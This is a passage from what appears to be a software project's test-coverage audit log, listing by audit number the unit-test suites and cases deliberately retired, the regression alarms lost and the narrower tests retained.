lifecycle examples and16commit-message cancellation examples. Retain4WSL and7STT mocked connector/worker cases,1rendered stale-banner refusal,2VM guard/failed-compensation cases and1late-stream ownership cancellation case; real WSL/microphone/remote-provider proof is not established. Separately discovered e2e-unit drivers lose13cross-version-wire local cases and15mobile active-publication cases, keeping same-process disk-reopen/new-host cursor content/epoch/sequence outcomes and a host/renderer-snapshot selection and inventory revision race respectively. Imported released stop-note scenarios remain unchanged and receive no duplicate credit. Cloud suites are outside root UNIT_INCLUDE. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. The broad root-unit command loses the UNIT_INCLUDE src/ subset of retired examples; mobile is outside UNIT_INCLUDE. Other lost alarms are recorded by the adopted per-case source reviews. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3381 composes root-adopted3376/independent3377 and3379/independent3380: intentionally retires436 authored registrations/670 expanded cases, including79 whole suites and12877 test lines, without equivalent replacement. Lost alarms include scheduling, account/host/status/filter/format inventories, microphone/image cleanup, title/bell/capability lifecycle routing, access/impersonation/outcome matrices, paste/input resend/ledger/retention, stale completions/reload containment, trust-read failure and popup OAuth/security/geometry vectors. Retained30 registrations/34expanded cases in22 suites preserve narrower SQLite TEMP/TZ/WAL, HTTP transcript root resume, mobile original-index Choose/Submit, child environment/Git lock expiry, stale ACK/PTY lifetime/peer fairness/durable replay/output ordering, actual DOM paste/editor focus, DEC2026 conservation, filesystem rollback, owned buffer lifetime, actual OSC parser/tracker handback, POSIX Python UTF8/fallback, durable trust concurrency/version, OpenSSH verdicts and hidden Chromium POST/route lifecycle. Mocked boundaries limit claims. Current bounded defining-owner reads preserve the retained oracles; captured identities are not full transitive semantic review. Both component blind pins authenticated before exchange; final reconciliation and explicit postpin3380reason correction supplement control, without retroactive blind claims. Root unit command excludes mobile and separately admitted Electron probes; use existing respective runners. No fresh execution, native focus/device/pixel UI, live SSH/remote, equivalent replacement or broad mixed-version/cross-platform validation is claimed. Prior dated receipts retain exact original scopes. Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope. Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope. Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the 